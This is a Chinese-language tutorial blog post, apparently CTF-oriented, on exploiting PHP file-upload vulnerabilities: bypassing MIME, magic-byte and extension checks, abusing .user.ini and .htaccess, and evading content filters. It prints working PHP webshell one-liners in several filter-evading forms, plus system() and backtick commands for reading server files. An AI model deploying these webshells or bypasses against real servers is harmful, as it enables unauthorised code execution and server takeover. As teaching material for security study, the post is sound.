文件上传漏洞思路详解
1. 文件上传漏洞简介
1.1 什么是文件上传漏洞
文件上传漏洞是一种常见的Web应用程序漏洞,攻击者可以通过向目标服务器上传恶意文件来实现攻击目的。这类漏洞的产生通常是因为服务器没有对用户上传的文件进行充分的安全检查和验证。
1.2 文件上传漏洞有哪些危害
1. 恶意代码执行
攻击者上传带有恶意代码的文件(如 .php
、.jsp
等动态脚本文件),服务器可能会直接执行这些文件中的恶意代码,导致远程代码执行(RCE)。
2. Webshell 攻击
攻击者通过上传 Webshell(Web 后门)文件,获得对服务器的控制权。Webshell 允许攻击者在服务器上执行命令,查看、修改文件,甚至获取系统权限。
3. 信息泄露
在某些情况下,攻击者可能上传恶意文件(如图像文件),然后通过这些文件来推断服务器的配置,或利用其他漏洞提取敏感信息。
4. 拒绝服务(DoS)
攻击者上传大文件,消耗服务器的存储资源,导致服务器资源耗尽,影响正常服务。
2. 文件上传漏洞利用思路
要理解文件上传漏洞的进攻思路,首先要明白都会有哪些方式来防止恶意的文件上传,从而有依据的绕过这些防守,从而实现漏洞的利用。
2.1 文件格式验证绕过
1. 前端检测
在上传文件时,前端只会允许上传特定后缀的文件,例如png、jpg、gif等,可以通过如下代码实现
<input type="file" accept=".jpg,.png,.gif">
毕竟检验在前端,可以直接F12修改js代码;或者先上传被允许的文件,发包后利用burp再篡改文件名与里面的内容。这里推荐第二种方式,因为这样就不需要再去篡改MIME值了。
2. MIME检测——篡改数据包
后端内置的文件信息操作函数可以用来获取文件的 MIME 类型,从而限制文件类型,常见的图片MIME有image/jpeg,image/png,image/gif等。
MIME 类型的获取一般是通过HTTP数据包中的 Content-Type
头部字段来完成。在文件上传过程中,客户端(浏览器或其他工具)会通过 Content-Type
头部字段告知服务器文件的MIME类型。因此我们可以通过burpsuite修改数据包content-type
来绕过检验。
3. 文件头验证——篡改标识符
文件头验证是一种通过检查文件头部信息(即文件的前几个字节)来判断文件类型的技术。例如,当你用记事本打开一张jpg格式的图片,会出现FF D8 FF E0
的标识符,这与jpg格式对应。因而可以利用文件头验证检测出文件的真实类型。
绕过它的方式也很简单,只要在上传的文件的内容前添加一个允许的标识符即可绕过。一般来说,允许格式为图片时,添加GIF89a
即可绕过。
4. 后缀黑名单
后端还可能通过黑名单的形式对后缀进行过滤,可以通过多以下方法绕过:
- 后端可能将
php
进行删除,通过双写为phphpp
,使得被删除后仍组成php
- 变异文件扩展名绕过:很多服务器和编程语言(例如 PHP)不仅仅支持
.php
作为 PHP 文件的扩展名,还支持其他变体的扩展名,例如:.php3
.php4
.php5
.phtml
- 多后缀解析:Apache 服务器通常使用最后一个扩展名作为解析依据。IIS 服务器可能根据第一个扩展名或不同的策略来解析。可以通过在文件名中添加多个扩展名(如
malicious.php.jpg
或shell.jpg.php
),绕过前端和后端的安全检查,从而上传恶意文件。 - 00截断:利用字符串终止符(空字节,
\x00
)绕过文件上传中的扩展名检查或路径处理漏洞。例如,可以构造一个文件名为shell.php\x00.jpg
。如果后端代码在处理文件名时,遇到\x00
截断符,那么服务器会将文件名解析为shell.php
,但系统认为它是一个.jpg
文件,从而允许文件上传。
5. 小结
基于以上验证与绕过,我们一般有这样的思路:上传符合条件的图片,burp抓包发送到repeater模块,修改文件名为php后缀,添加文件标识符,写入后门代码,发包尝试去绕过黑名单,从而将后门代码上传到服务端。
值得一提的是,我们必须要上传含后门的php文件,而非含后门的图片,因为图片中的php代码是不会被解析并执行的。
<?php eval($_POST['x']);?>
6. 后门代码的利用
上传成功后,按F12查看文件上传地址,找到与上传的后门同目录的php文件
hackbar
x=system('ls -l -a -h'); 详细显示当前目录
x=system('ls -lha ../'); 详细显示上级目录
x=system('tac ../flag.php');
蚁剑
蚁剑的安装请自行搜索
右键界面,添加数据,写入有后门代码的地址,输入密码(即我们上传的后门代码中post的参数),点击测试连接,成功后点击添加,然后进入数据即可看到服务器的目录与文件。
2.2 .user.ini
1. .user.ini
简介
.user.ini
是php
的一种配置文件,这个设置可以告诉PHP解释器在解释每个用户请求的PHP文件之前自动包含一个指定的文件,即auto_prepend_file
所指定的文件。因此我们可以有这样的思路:上传含有后门的图片,利用.user.ini
将后门代码包含到php文件中。
值得注意的是,由于.user.ini
是向当前文件夹中php文件自动包含图片,因此必须保证当前文件夹有php文件,我们去访问这个php文件,才能用hackbar传参或者用蚁剑连接
2. 上传.user.ini
修改文件名为.user.ini
,写入以下代码。
auto_prepend_file=hack.png
![[Pasted image 20240920103953.png]]
3. 上传后门图片
修改文件名为图片格式,写入后门代码。
<?php eval($_POST['x']);?>
4. 后门代码利用
与上一小节相同,不再赘述。
2.3 .htaccess
1. .htaccess
简介
.htaccess
是 Apache HTTP 服务器中一种配置文件,用于针对特定目录进行局部配置。其全称为 "Hypertext Access",.htaccess
文件通常位于 Web 服务器的某个目录中,能够覆盖 Apache 主配置文件 httpd.conf
的全局设置。通过 .htaccess
文件,可以通过文件解析配置,将png后缀的文件解析成php。
AddType application/x-httpd-php .png
2. 如何利用
.htaccess
的利用方式与.user.ini
相近,此处不详细演示。
上传.htaccess
AddType application/x-httpd-php .png
上传hack.png
<?php eval($_POST['x']);?>
访问hack.png即可连上后门
2.4 内容过滤
后端还可以通过检查文件的内容来限制恶意的文件上传
1. <?php
过滤&短标签&其他语言&大小写绕过
后端通过限制php代码的固定格式,来避免文件中包含恶意的内容。
利用短标签绕过
<?=表达式?> //不需要配置参数
<?=eval($_POST['x']);?>
换用js语言绕过
<script language="php">echo '1';</script> //不需要配置参数
<script language="php">eval($_POST['x']);</script>
利用大小写绕过
<?PhP eval($_POST['x']);?>
2. []过滤&换{}
后端通过过滤[]
符号来限制php中某些函数的使用,从而限制恶意的文件上传
php支持把[]
换成{}
,下方的后门代码同样可以使用
<?php eval($_POST{'x'});?>
3. 严格过滤&恶意代码执行
当对于后门代码的过滤过于严格时,可以尝试直接执行php来获得想要的内容。上传php恶意代码的思路与2.1&2.2相同。
常用的恶意代码如下,system()
函数用于在 PHP 中执行操作系统级别的命令,并将输出直接返回到浏览器。:
<php system('ls -lha');?> //查看当前目录文件
<php system('ls -lha ../');?> //查看上级目录文件
<php system('tac ../flag.php');?> //显示flag.php的内容
<?php
过滤&短标签&其他语言&大小写
<=system('ls -lha');?> //查看当前目录文件
()
过滤&反引号绕过
反引号语法:在 PHP 中,使用反引号 `command`
的方式可以执行 shell 命令,并将命令的输出作为字符串返回
<?=`tac ../f*`?>
宇宙安全声明
本博客所提供的内容仅供学习与交流,旨在提高网络安全技术水平,谨遵守国家相关法律法规,请勿用于违法用途,博主不对任何人因使用博客中提到的技术或工具而产生的任何后果负责。如果您对文章内容有疑问,可以留言私信。